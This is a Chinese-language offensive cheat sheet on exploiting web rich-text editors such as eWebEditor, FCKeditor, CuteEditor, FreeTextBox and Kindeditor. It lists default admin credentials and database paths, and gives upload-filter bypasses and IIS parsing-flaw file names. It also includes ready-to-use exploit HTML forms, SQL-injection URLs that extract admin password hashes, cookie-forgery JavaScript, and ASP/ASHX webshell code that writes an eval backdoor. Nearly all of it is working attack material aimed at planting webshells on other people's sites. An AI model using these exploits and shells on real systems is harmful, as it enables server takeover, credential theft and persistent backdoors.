编辑器利用总结

1.0

Ewebeditor

ewebeditor 利用基础知识

1．**默认后台：**/ewebeditor/admin_login.asp
2．**默认数据库路径：**
(/admin)/ewebeditor/db/ewebeditor.mdb 后台改变，数据库路径也可能被修改
[PATH]/db/ewebeditor.mdb
[PATH]/db/db.mdb
[PATH]/db/%23ewebeditor.mdb

3．**默认密码：**admin/admin888、admin/admin、admin/123456
【进后台后】：点击“样式管理”--可以选择新增样式，或者修改一个非系统样式，将其中图片控件所允许的上传类型后面加上|asp、|asa、|aaspsp 或|cer，只要是服务器允许执行的脚本类型即可，点击“提交”并设置工具栏--将“插入图片”控件添加上。而后--预览此样式，点击插入图片，上传 WEBSHELL，在“代码”模式中查看上传文件的路径。
.asa/.cer/.cdx 等！.asp 过滤过了。但是我们可以用 asaspp、aaspsp 后缀来添加，这样上传文件正好被 ewebeditor 吃掉 asp 后缀，剩下.asp。同样，如果遇到一个管理员有安全意识的，从代码里，把.asp/.asa/.cer/.cdx 都完全禁止了，我们也可以用.asasaa 后缀来突破。
有时候不能上传 asp 文件，需要修改成 asa，还可以把格式改成大写

4.先尝试访问 admin_style.asp，查看和修改样式表
eWebEditor.asp?id=45&style=standard1 样式调用

5．当数据库被管理员修改为 asp、asa 后缀的时候，可以插一句话木马服务端进入数据库，然后一句话木马客户端连接拿下 webshell

6．上传后无法执行、目录没权限？样式管理看你编辑过的那个样式，里面可以自定义上传路径的!!!

7．设置好了上传类型，依然上传不了麽？估计是文件代码被改了，可以尝试设定“远程类型”依照 6.0 版本拿 SHELL 的方法来做（详情见下文↓），能够设定自动保存远程文件的类型

eWebEditor 构造上传

1.当我们下载数据库后查询不到密码 MD5 的明文时，可以去看 eWebEditor_Style 这个样式表，看看是否有前辈入侵过 或许已经赋予了某控件上传脚本的能力

2.不能添加工具栏、数据库为只读等，但设定好了某样式中的文件上传类型

3.进了 ewebeditor 编辑器后台，上传类型修改后可以上传 asp 和 asa 等等。可是由于一些原因.却上传不了或上传后提示找不到文件，或者无法显示等等

构造地址来上传我们自己的 WEBSHELL。
比如 ID=46 s-name =standard1
构造代码: ewebeditor.asp?id=content&style=standard
ID 和和样式名改过后 ewebeditor.asp?id=46&style=standard1
上传的 url 需要修改 action 字段

Exp:

```
<form
action="http://site.com/ewebedit/upload.asp?action=save&type=&style=
可以上传 asa 的样式名" method=post name=myform
enctype="multipart/form-data">  <input type=file name=uploadfile
size=1 style="width:100%">  <input type=submit value="上传了
"></input>  </form>
```

4. 发现后台可以设置上传类型，但是 asp，asa,cer 等上传之后就提示下载或是过滤了，先添加一个 ashx 类型，上传一个 ashx 脚本上去：
然后访问上传后的ashx文件,就会在同目录下生成一个root.asp的一句话木马，然后使用一句话木马客户端连接，密码：root

```
<%@ WebHandler Language="C#" class="Handler" %>

using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {

public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";

StreamWriter file1=File.CreateText(context.Server.MapPath("root.asp"));
file1.Write("<%response.clear:execute request(\"root\"):response.End%>");
file1.Flush();
file1.Close();
}

public bool IsReusable {
get {
return false;
}
```

}
}

5.

ewebeditor 目录遍历

ewebeditor/admin_uploadfile.asp 、admin/upload.asp 过滤不严，造成遍历目录漏洞

1. ewebeditor/admin_uploadfile.asp?id=14 在 id=14 后面添加&dir=..
再加 &dir=../..
&dir=http://www.****.com/../.. 看到整个网站文件了

2. ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir =./..

eWebEditor 5.2 列目录漏洞

ewebeditor/asp/browse.asp 过滤不严，造成遍历目录漏洞

攻击利用：
http://www.****.com/ewebeditor/asp/browse.asp?style=standard650&dir=….//..

利用 WebEditor session 欺骗漏洞

漏洞文件:Admin_Private.asp 只判断了 session，没有判断 cookies 和路径的验证问题。
攻击利用:
新建一个 test.asp 内容如下:
<%Session("eWebEditor_User") = "11111111"%>
访问 test.asp，再访问后台任何文件，for example:Admin_Default.asp

eWebEditor asp 版 2.1.6 上传漏洞

修改上传地址保存为 HTM 文件,打开可以直接上传 CER 文件,测试成功.上传后地址看源文件

<H1>ewebeditor asp 版 2.1.6 上传漏洞利用程序----</H1>


```
<form
action="http://127.0.0.1/e/upload.asp?action=save&type=IMAGE&style=luoye' union select
S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,
[S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post
name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=Fuck>
</form>
```

eWebEditor 2.7.0 注入漏洞

http://www.xx.com/ewebeditor/ewebeditor.asp?id=article_content&style=full_v200

默认表名：eWebEditor_System
默认列名：sys_UserName、sys_UserPass

eWebEditor2.8.0 最终版删除任意文件漏洞

此漏洞存在于 Example\NewsSystem 目录下的 delete.asp 文件中，这是ewebeditor 的测试页面，无须登陆可以直接进入。

EXP:

```
<HTML><HEAD><TITLE>eWebEditor 删除文
件 by:oldjun([url]http://www.oldjun.com[/url])</TITLE>
<style>body,p,td,input {font-size:9pt}</style>
</HEAD><BODY><a href='list.asp'>新闻列表</a> | <a href='add.asp'>增加新闻</a>

<b>增加新闻</b>

<form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"

method="post" name="myform">
    <input type=hidden name=d_originalfilename>
    <input type=hidden name=d_savefilename>
```

```
    <table cellspacing=3 align=center>
<tr><td>要删的文件(相对路径就可以了)：</td>
<td><input type="text" name="d_savepathfilename" value="" size="90"><
/td>
</tr>
<tr><td>新闻标题(随便填)：</td>
<td><input type="text" name="d_title" value="" size="90"></td>
</tr>
<tr><td>标题图片：</td>
<td><select name="d_picture" size=1><option value=''>无
</option></select>
 当编辑区有插入图片时，将自动填充此下拉框</td>
</tr>
<tr><td>新闻内容(随便填)：</td>
<td><textarea name="d_content"></textarea></td>
</tr>
</table>

<input type=submit name=btnSubmit value=" 提 交 ">
<input type=reset name=btnReset value=" 重 填 ">
</form>
</BODY></HTML>
```

Tips: 删除文件漏洞一般是配合其他漏洞使用的，比如目录遍历!

PHP ≥ 3.0~3.8 与 asp 2.8 版 PHP/ASP...后台通杀漏洞

进入后台/eWebEditor/admin/login.php,随便输入一个用户和密码,会提示出错了.这时候你清空浏览器的 url,然后输入

```
javascript:alert(document.cookie="adminuser="+escape("admin"));
javascript:alert(document.cookie="adminpass="+escape("admin"));
javascript:alert(document.cookie="admindj="+escape("1"));
```

而后三次回车,清空浏览器的 URL,现在输入一些平常访问不到的文件
如../ewebeditor/admin/default.php，就会直接进去

ewebeditor php v3.8 or older version 任意文件上传漏洞

此版本将所有的风格配置信息保存为一个数组$aStyle,在 php.ini 配置 register_global 为 on 的情况下我们可以任意添加自己喜欢的风格，并定义上

传类型。

EXP:

```
<form action="" method=post enctype="multipart/form-data">
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="512000">
URL:<input type=text name=url value="http://192.168.1.110/eWebEditor/"
size=100><br>
<INPUT TYPE="hidden" name="aStyle[12]"
value="toby57|||gray|||red|||../uploadfile/|||550|||350|||php|||swf||
|gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|m
ov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||
1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||..
.|||FF0000|||12|||宋体|||||0|||jpg|jpeg|||300|||FFFFFF|||1">
file:<input type=file name="uploadfile"><br>
<input type=button value=submit onclick=fsubmit()>
</form><br>
<script>
function fsubmit(){
form = document.forms[0];
form.action =
form.url.value+'php/upload.php?action=save&type=FILE&style=toby57&lan
guage=en';
alert(form.action);
form.submit();
}
</script>
```

eWebEditor 2.8 商业版插一句话木马

登陆后台，点击修改密码---新密码设置为 1":eval request("h")'
设置成功后，访问 asp/config.asp 文件即可，一句话木马被写入到这个文件里面了

ewebeditor jsp 1.4 以下版本上传漏洞

1.第一个是使用 savefile.jsp 来进行文件上传操作.直接上传一个 JSPShel

2.另一个版本可能是被人修改过，把代码转成了 servlet，不能看到代码，但是利用方法却大同小异。我们先找一个 1.4 版本以下的 ewebeditor JSP 上传页面，选择好一个 JSPShell。这个 ewebeditor 是没有提交按钮的，所以这里涉及到一个小技巧，就是在上传的对话框中敲下回车，大约过半分钟，就可以查看网页的源文件找 webshell 地址。

eWebEditorNet upload.aspx　上传漏洞(WebEditorNet)

WebEditorNet 主要是一个 upload.aspx 文件存在上传漏洞。

攻击利用:
默认上传地址：/ewebeditornet/upload.aspx
可以直接上传一个 cer 的木马,如果不能上传则在浏览器地址栏中输入 javascript:lbtnUpload.click();
成功以后查看源代码找到 uploadsave 查看上传保存地址，默认传到 uploadfile 这个文件夹里

ewebeditor 2.16 版突破上传目录无脚本执行权限 exp

如果 uploadfile 目录取消脚本执行，不能执行脚本文件，或者 uploadfile 目录没有写入权限，无法写入文件。用这个 exp 吧， 把小马传到 db/目录了，其他的自行变通.....

<form action="http://www.site.com/ewebeditor/upload.asp?action=save&type=IMAGE&style=luoye' union select S_ID,S_Name,S_Dir,S_CSS,[S_UploadDir]%2b'/../db',S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,[S_ImageExt]%2b'|asa',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data"> <input type=file name=uploadfile size=100>

 <input type=submit value=Fuck> </form>

备用

<form action="http://site/manage/ewebeditor/upload.asp?action=save&type=IMAGE&style=luoye' union select

S_ID,S_Name,S_Dir,S_CSS,[S_UploadDir]%2b'/../db',S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,
[S_ImageExt]%2b'|asa',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data"> <input type=file name=uploadfile size=100>

 <input type=submit value=Fuck> </form>

ewebeditor 1.0.0 上传漏洞

ewebeditor 1.0.0 版基本已经灭绝

<H1>ewebeditor asp 版 1.0.0 上传漏洞利用程序----By HCocoa</H1>

 <form action="http://site.com/ewebeditor/upload.asp?action=save&type=IMAGE&style=hcocoa' union select S_ID,S_Name,S_Dir,S_EditorHeader,S_Body,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,
[S_ImageExt]%2b'|cer|aspx',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data"> <input type=file name=uploadfile size=100>

 <input type=submit value=Fuck> </form>

union select 控制 ewebeditor 上传文件后缀

我们要做的就是通过 union 增加一个 sAllowExt 类型构造

upload.asp?action=save&type=IMAGE&style=fox union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]+|
cer,S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,-
S_RemoteSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl,S_UploadObject,S_AutoDir,S_BaseHref,S_ContentPath,S_AutoRemote,S_ShowBorder from ewebeditor_style where s_name=standard and a=a

union 要之前的 select 结果为空(这个好办)，同时要知道字段数(下载到数据库查也能查到了)，我使用[S_ImageExt]+|cer 使 S_ImageExt 中加入"|cer"串。用 NC 发包就可以上传木马了。

SQL 注入 eWebEditor 数据库

条件：
1、知道 ewebeditor 数据库的绝对地址
2、存在注入，或者后台可执行 sql 语句。

跨库注入：
update eWebEditor_Style in
E:webhostxxxxxxxxwwwadminEditordbewebeditor.mdb set
s_imageext=gif|jpg|jpeg|bmp|aasasa where s_id=40
或者
update eWebEditor_Style in
E:webhostxxxxxxxxwwwadminEditordbewebeditor.mdb set
s_imageext=gif|jpg|jpeg|bmp|aasasa

利用： /ewebeditor.asp?id=content1&style=standard

upload.asp 文件存在注入漏洞

某些些版本的 ewebeditor 编辑器的 upload.asp 文件存在注入漏洞!信息错误则返回脚本出错的提示，在浏览器左下角!
具体利用如下:

98%20and%20'1'='1">http://www.sitecom/ewebeditor/Upload.asp?type=FILE style=standard coolblue1'and%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from%20ewebeditor_system%20)>98%20and%20'1'='1

注意修改红色部分的字段名、位数、ascii 码的值!

eWebEditor v6.0.0

攻击利用:

在编辑器中点击“插入图片”--网络--输入你的 WEBSHELL 在某空间上的地址(注：文件名称必须为：xxx.jpg.asp 以此类推…)，确定后，点击“远程文件自动上传”控件（第一次上传会提示你安装控件，稍等即可），查看“代码”模式找到文件上传路径，访问即可，eweb 官方的 DEMO 也可以这么做，不过对上传目录取消掉了执行权限，所以上传上去也无法执行网马。

利用远程上传功能

比如 s_full 样式就存在这个功能，打开编辑页面，然后图片，选择输入 url 比如:.asp ！ 然后选择上传远程文件！自动就把 1.gif.asp 保存在上传目录内！注:网上的东西大部分传来传去，这个办法愚弄自己还成！文件的确显示后缀为.asp 但是不能访问，因为收集过来的时候自动截止在 1.gif 了所以后面的.asp 等于没有！而且 gif 的内容就是我们这个 url 的路径！呵呵，后来又看到一个利用方式!是利用远程搜集的时候执行,我们文件的代码生成另外的小马！

利用代码如下:

首先建立 1.gif.asp 代码如下

```
<%
Set fs = CreateObject("Scripting.FileSystemObject")
Set
MyTextStream=fs.OpenTextFile(server.MapPath("\akteam.asp"),1,false,0)

Thetext=MyTextStream.ReadAll
response.write thetext
%>
```

在我们的 1.gif.asp 的同目录下建立一个 akteam.asp 文件，内容就是我们的小马：

```
<%on error resume next%>
<%ofso="scripting.filesystemobject"%>
<%set fso=server.createobject(ofso)%>
<%path=request("path")%>
<%if path<>"" then%>
<%data=request("dama")%>
<%set dama=fso.createtextfile(path,true)%>
<%dama.write data%>
<%if err=0 then%>
<%="success"%>
<%else%>
<%="false"%>
<%end if%>
<%err.clear%>
<%end if%>
<%dama.close%>
<%set dama=nothing%>
```

```
<%set fos=nothing%>
<%="<form action='' method=post>"%>
<%="<input type=text name=path>"%>
<%="<br>"%>
<%=server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%=""%>
<%="<textarea name=dama cols=50 rows=10 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=submit value=save>"%>
<%="</form>"%>
```

利用上面说的远程上传的方式！可以得到 webshell！成功率取决于，虚拟主机的安全设置！

(xy)eWebEditor/asp/upload.asp 构造上传

漏洞路径：admin/(xy)eWebEditor/asp/upload.asp，存在的话会显示空白
替换地址保存为 1.html，上传图片一句话木马

```
<form action="http://www.xx.com/后台
/xyewebeditor/asp/upload.asp?action=save&type=image&style=popup&cusdir=ok.asp"
method=post name=myform enctype="multipart/form-data">

<input type=file name=uploadfile size=100><br><br>
<input type=submit value=upload>
</form>
```

Southidceditor

Southidceditor 一般使用 v2.8.0 版 eWeb 核心

利用 URL：
http://www.xxx.com/admin/southidceditor/datas/southidceditor.mdb
http://www.xxx.com/admin/southidceditor/admin/admin_login.asp
http://www.xxx.com/admin/southidceditor/popup.asp
/Southidceditor/admin_style.asp?action=copy&id=14
/SouthidcEditor/Admin_Style.asp?action=styleset&id=47
/Southidceditor/ewebeditor.asp?id=57&style=southidc
/Southidceditor/Datas/SouthidcEditor.mdb
/Southidceditor/login.asp

1.访问/southidceditor/admin_style.asp 修改编辑器样式,增加 asa(不要 asp).然后直接后台编辑新闻上传

2. 注入点:
news_search.asp?key=7%’ union select
0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9 from admin where 1 or ’%’=’&otype=title&Submit=%CB%D1%CB%F7

也可能是(另外一个版本)
news_search.asp?key=7%’ union select
0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9,10 from admin where 1 or ’%’=’&otype=title&Submit=%CB%D1%CB%F7 直接暴管理员帐号密码(md5)

Fckeditor

Fckeditor 利用基础知识

1．FCKeditor 编辑器页：FCKeditor/_samples/default.html
2．查看编辑器版本：FCKeditor/_whatsnew.html
3．上传页面：

FCKeditor v2.4.3
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
userfiles/file/1.asp;2(1).jpg (解析漏洞)

FCKeditor V2.6.6
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
其他上传地址
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp

FCKeditor/editor/fckeditor.html (不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页)

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php

JSP 版：
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F

http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=../&CurrentFolder=%2F

4．查看文件上传路径（修改脚本类型）
fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
XML 页面中第二行 “url=/xxx”的部分就是默认基准上传路径

过滤不严 FCKeditor x.x - FCKeditor v2.4.3

影响版本: FCKeditor x.x <= FCKeditor v2.4.3

脆弱描述：FCKeditor v2.4.3 中 File 类别默认拒绝上传类型：
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm

Fckeditor 2.0 <= 2.2 允许上传 asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后 它保存的文件直接用的**$sFilePath = $sServerDir . $sFileName**，而没有使用$sExtension 为后缀,直接导致在 win 下在上传文件后面加个.来突破。而在 apache 下，因为**"Apache 文件名解析缺陷漏洞"**也可以利用之。

攻击利用: 允许其他任何后缀上传

利用 2003 路径解析漏洞上传网马

脆弱描述：

利用 2003 系统路径解析漏洞的原理，创建类似“xxx.asp”如此一般的目录，再在此目录中上传文件即可被脚本解释器以相应脚本权限执行。

攻击利用:

fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp

强制建立 shell.asp 目录：

FCKeditor V2.6.6

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684

FCKeditor v2.4.3

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

Fckeditor 2.2 - 2.4.3-PHP 任意上传

脆弱描述：
FCKeditor 在处理文件上传时存在输入验证错误，远程攻击可以利用此漏洞上传任意文件。在通过 editor/filemanager/upload/php/upload.php 上传文件时攻击者可以通过为 Type 参数定义无效的值导致上传任意脚本。
成功攻击要求 config.php 配置文件中启用文件上传，而默认是禁用的。攻击利用：(请修改 action 字段为指定网址)：

EXP:

version 2.0 - 2.2

FCKeditor/editor/filemanager/upload/php/upload.php 发送扩展名“.php”的文件

version 2.3.0 - 2.4.3:

```
<form id="frmUpload" enctype="multipart/form-data"
action="http://www.xx.com/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">
Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
```

复制保存为 XX.html

Note: 如想尝试 v2.2 版漏洞，则修改 Type=任意值 即可，但注意，如果换回使用 Media 则必须大写首字母 M,否则 LINUX 下,FCKeditor 会对文件目录进行文件名校验，不会上传成功的。

Fckeditor php <= 2.6.4 任意文件上传漏洞

对目录路径的检测不够严谨而导致可以用 0x00 截断进行攻击

FCKeditor 遍历目录漏洞 Aspx 与 JSP 版

攻击利用:
Version 2.4.1 测试通过
修改 CurrentFolder 参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp

根据返回的 XML 信息可以查看网站所有的目录。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
也可以直接浏览盘符

JSP 版本：
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/

FCKeditor 上传“.”变“_”下划线的绕过

我们上传的文件例如:shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化

攻击利用:
提交 1.php+空格 就可以绕过去所有的。
※不过空格只支持 win 系统 *nix 是不支持的[1.php 和 1.php+空格是 2 个不同的文件]

影响版本: =>2.4.x 的最新版已修补
脆弱描述:
由于 Fckeditor 对第一次上传 123.asp;123.jpg 这样的格式做了过滤。也就是 IIS6 解析漏洞。上传第一次。被过滤为 123_asp;123.jpg 从而无法运行。

但是第 2 次上传同名文件 123.asp;123.jpg 后。由于”123_asp;123.jpg”已经存在。文件名被命名为 123.asp;123(1).jpg …… 123.asp;123(2).jpg 这样的编号方式。

利用二次上传可以生成 x(2).asp;y.jpg 可以突破，有些时候打了补丁的让我们还是无法突破，通常我们在
editor/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp
新建 一个 x.asp 的文件夹可饶过，但有些变态的程序会将我们建立的文件夹同样变成 x_asp。。。

可以通过建立 x.asp 文件夹
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp

Note:测试未成功的可能原因
1.FCKeditor 没有开启文件上传功能，这项功能在安装 FCKeditor 时 默认是关闭的。如果想上传文件，FCKeditor 会给出错误提示。
2.网站采用了 精简版的 FCKeditor，精简版的 FCKeditor 很多功能丢失，包括文件上传功能。
3.FCKeditor 的这个 漏洞已经被修复。

aspx 版 FCKeditor 暴路径漏洞

攻击利用：
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/1.asp

TYPE 自定义变量任意上传

影响版本: 较早版本
脆弱描述：
通过自定义 Type 变量的参数，可以创建或上传文件到指定的目录中去，且没有上传文件格式的限制。

攻击利用:
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/asp/connector.asp
打开这个地址就可以上传任何类型的文件了，Shell 上传到的默认位置是:
http://www.URL.com/UserFiles/all/1.asp
"Type=all" 这个变量是自定义的,在这里创建了 all 这个目录,而且新的目录没有上传文件格式的限制。

比如输入:
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=../
&Connector=connectors/asp/connector.asp 网马就可以传到网站的根目录下。

Note:如找不到默认上传文件夹可检查此文件:
fckeditor/editor/filemanager/browser/default/connectors/asp/
connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

IIS7.5+fck 解析漏洞

上传图片，浏览，上传一个 aspx 的一句话木马，名字为：
a.aspx.a;.a.aspx.jpg..jpg，上传后直接得到上传地址

Spaw Editor

Spaw Editor v1.0 - 2.0 远程文件上传漏洞

For Windows & ASP Sites :
/spaw2/dialogs/dialog.aspx?module=spawfm&dialog=spawfm&theme=spaw2&lang=en&charset=utf-8&scid=2d0650b7920a4fbf87598f8d58b4a99b&type=images

/spaw2/uploads/files/sec4ever.asp;.jpg

For Linux PHP :
/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=en&charset=utf-8&scid=2d0650b7920a4fbf87598f8d58b4a99b&type=files

/spaw2/uploads/files/sec4ever.jpg.php

Freetextbox

Asp.Net 版利用 IIS 解析漏洞获得权限

脆弱描述：
没做登陆验证可以直接访问上传木马
Freetextbox 3-3-1 可以直接上传任意格式的文件
Freetextbox 1.6.3 及其他版本可以上传 格式为 x.asp;.jpg

攻击利用：
利用 IIS 解析漏洞拿 SHELL。上传后 SHELL 的路径
http://www.site.com/images/x.asp;.jpg

文件暴网站物理目录漏洞

ftb.imagegallery.aspx?frame=1&rif=images&cif=../

Freetextbox 遍历目录漏洞

脆弱描述：
因为 ftb.imagegallery.aspx 代码中 只过滤了/但是没有过滤\符号所以导致出现了遍历目录的问题。

攻击利用:
在编辑器页面点图片会弹出一个框（抓包得到此地址）构造如下，可遍历目录。
http://www.XXX.cn/Member/images/ftb/HelperScripts/ftb.imagegallery.aspx?frame=1&rif=..&cif=\..

Kindeditor

Kindeditor v3.4.2 -3.5.5 遍历目录

利用方法：
1. http://localhost/67cms/kindeditor/php/file_manager_json.php?path=/
path=/，爆出绝对路径
D:\AppServ\www\67cms\kindeditor\php\file_manager_json.php
2.http://localhost/67cms/kindeditor/php/file_manager_json.php?path=AppServ/www/67cms/
根据爆出的绝对路径，修改 path 的值 AppServ/www/67cms/这时将遍历
d:/AppServ/www/67cms/下的所有文件和文件名

Cute Editor

程序介绍:
CuteEditor for ASP.NET 是建立在 Html 基础之上，最简单易用、功能最强大的所见即所得 Asp.net 在线编辑器。CuteEditor 编辑器是.NET 下最常用的一个编辑器

Cute Editor 在线编辑器本地包含漏洞

脆弱描述：
可以随意查看网站文件内容，危害较大。
攻击利用:
http://www.TEST.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config

Cute Editor Asp.Net 版利用 iis 解析漏洞获得权限

脆弱描述：
CuteEditor 对上传文件名未重命名，导致其可利用 IIS 文件名解析 Bug 获得 webshell 权限。
攻击利用：
可通过在搜索引擎中键入关键字 inurl:Post.aspx?SmallClassID= 来找到测试目标。在编辑器中点击“多媒体插入”，上传一个名为“xxx.asp;.avi”的网马，以此获得权限。或者新建目录 xx.asp 然后上传小马 x.avi

Webhtmleditor

IIS 文件名称解析漏洞

影响版本：<= Webhtmleditor 最终版 1.7（已停止更新）
攻击利用：
对上传的图片或其他文件无重命名操作，导致允许恶意用户上传 diy.asp;.jpg 来绕过对后缀名审查的限制，对于此类因编辑器作者意识犯下的错误，就算遭遇缩略图，文件头检测，也可使用图片木马 插入一句话来突破

Dotnettextbox

DotNetTextBox 编辑器上传漏洞

编辑器目录地址：http://www.xx.com/system_dntb/
编辑器上传地址：http://www.xx.com/system_dntb/uploadimg.aspx
文件上传后目录：http://www.xx.com/system_dntb/Upload/
上传木马类型：a.cdx;1.jpg 、a.asp;.jpg

cookie 欺骗漏洞

确定有 system_dntb/uploadimg.aspx 并能打开，用 cookie 欺骗工具。
cookie:UserType=0; IsEdition=0; Info=1;
uploadFolder=../system_dntb/Upload/;路径可以修改，只是权限够，上传后改名为 1.asp;.jpg 利用 iis 解析漏洞

Tiny_mce

爆路径漏洞

http://www.site.com/editors/tiny_mce/plugins/ImageManager/manager.php?b=/

跨目录操作漏洞

路径为:
http://www.site.com//editors/tiny_mce/plugins/ImageManager/manager.php?b=/home/salehots/public_html/

SyWebEditor

遍历目录漏洞

/syWebEditor/Sel_UploadFile.asp?obj=ProPhoto&fileType=gif%7Cjpg%7Cpng%7C&filePathType=1&filePath=/PhotoFile/ProFile/

上传漏洞

和其他编辑器一样 a.asp;a.jpg,有的上传后变为 a.asp.a.jpg 过滤了；可以修改上传路径：
http://www.xxxxx.com/syWebEditor/Sel_UploadFile.asp?filePathType=1&filePath=../

主要是删除 obj=ProPhoto&fileType=& 这两个参数，比较碍事;修改 filePath=参数还能够浏览目录，当然是在目录权限不严格的情况下；上传文件，把我们上传的文件命修改为 1.a;s;p 就好了，上传成功，系统自动为我们修改成 1.asp,而且也摆脱了那个解析漏洞的限制

Msn editor

IIS 文件名称解析漏洞

脆弱描述：
点击图片上传后会出现上传页面，地址为
http://url/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=
用普通的图片上传后，地址 http://url/news/uppic/41513102009204012_1.gif

记住这时候的路径，再点击图片的上传，这时候地址就变成了
http://url/news/admin/uploadPic.asp?language=&editImageNum=1&editRemNum=41513102009204012 很明显。图片的地址是根据 RemNum 后面的编号生成的。

攻击利用:
配合 IIS 的解析漏洞,把 RemNum 后面的数据修改为 1.asp;41513102009204012,变成下面这个地址
http://www.xxx.cn/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=1.asp;41513102009204012 然后在浏览器里打开，然后选择你的脚本木马上传，将会返回下面的地址 uppic/1.asp;41513102009204012_2.gif,直接打开就是我们的小马地址！